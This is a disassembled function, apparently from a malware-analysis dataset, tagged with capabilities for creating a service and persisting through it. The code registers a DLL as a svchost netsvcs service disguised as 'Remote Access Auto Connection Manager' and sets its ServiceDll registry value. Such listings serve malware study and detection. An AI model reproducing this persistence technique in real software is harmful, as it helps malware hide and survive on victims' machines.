Function at 0x10007cc0
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006b7b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x23c
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
mov edi, str.Iprip
cmp eax, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], connect
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
je 0x10007d12
cmp byte [eax], 0
je 0x10007d12
mov dword [ebp - 0x18], eax
mov edi, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x14]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10007d44
lea edx, [ebp - 0x4c]
push 0x100884f8
push edx
mov dword [ebp - 0x4c], 0x10096b74
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x248]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x50]
push ecx
push edx
push ebx
push str.netsvcs
push eax
mov dword [ebp - 0x44], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
mov dword [ebp + 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, ebx
je 0x10007d99
lea edx, [ebp - 0x34]
push 0x100884f8
push edx
mov dword [ebp - 0x34], str.RegQueryValueEx_Svchost_netsvcs_
call sub.MSVCRT.dll__CxxThrowException
mov ebx, dword [sym.imp.MSVCRT.dll_strchr]
lea esi, [ebp - 0x248]
cmp byte [esi], 0
je 0x10007dcb
push edi
push esi
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10007dc6
push 0
push esi
call ebx
add esp, 8
inc eax
mov esi, eax
jmp 0x10007da5
cmp byte [esi], 0
jne 0x10007de0
lea eax, [ebp - 0x28]
push 0x100884f8
push eax
mov dword [ebp - 0x28], 0x10096b74
call sub.MSVCRT.dll__CxxThrowException
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x20], ebx
jne 0x10007e0d
lea ecx, [ebp - 0x3c]
push 0x100884f8
push ecx
mov dword [ebp - 0x3c], str.OpenSCManager__
call sub.MSVCRT.dll__CxxThrowException
push 0
mov edx, dword [str.Remote_Access_Auto_Connection_Manager]
push 0
push 0
push 0
push 0
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push 2
push 0x110
push 0xf01ff
push edx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [ebp - 0x24], eax
jne 0x10007e55
lea eax, [ebp - 0x48]
push 0x100884f8
push eax
mov dword [ebp - 0x48], 0x10096b74
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push ebx
call esi
push 0x1f4
lea ecx, [ebp - 0x248]
push str.SYSTEMCurrentControlSetServices_
push ecx
mov dword [ebp - 0x14], connect
call dword [sym.imp.MSVCRT.dll_strncpy]
push 0x64
lea edx, [ebp - 0x248]
push edi
push edx
call dword [sym.imp.MSVCRT.dll_strncat]
mov edx, dword [ebp - 0x14]
add esp, 0x18
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x248]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov dword [ebp + 8], eax
je 0x10007eca
lea eax, [ebp - 0x2c]
push 0x100884f8
push eax
mov dword [ebp - 0x2c], 0x10096b74
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
push ecx
push str.Parameters
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edi, eax
push edi
mov dword [ebp + 8], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test edi, edi
je 0x10007f02
lea eax, [ebp - 0x30]
push 0x100884f8
push eax
mov dword [ebp - 0x30], str.RegCreateKey_Parameters_
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [0x10096ed4]
lea ecx, [ebp - 0x248]
push 0x1f4
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10007f34
lea eax, [ebp - 0x38]
push 0x100884f8
push eax
mov dword [ebp - 0x38], str.GetModuleFileName___get_dll_path
call sub.MSVCRT.dll__CxxThrowException
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 0x1c]
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [ebp - 0x248]
push ecx
push 2
push eax
push str.ServiceDll
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, eax
push edi
mov dword [ebp + 8], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test edi, edi
je 0x10007fa9
lea eax, [ebp - 0x40]
push 0x100884f8
push eax
mov dword [ebp - 0x40], str.RegSetValueEx_ServiceDll_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x10007f97
cmp byte [eax], 0
je 0x10007f97
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
mov eax, 0x10007f9d
ret
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x24]
push eax
call esi
push ebx
call esi
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.10007c30
mov ecx, dword [ebp - 0xc]
add esp, 4
mov eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret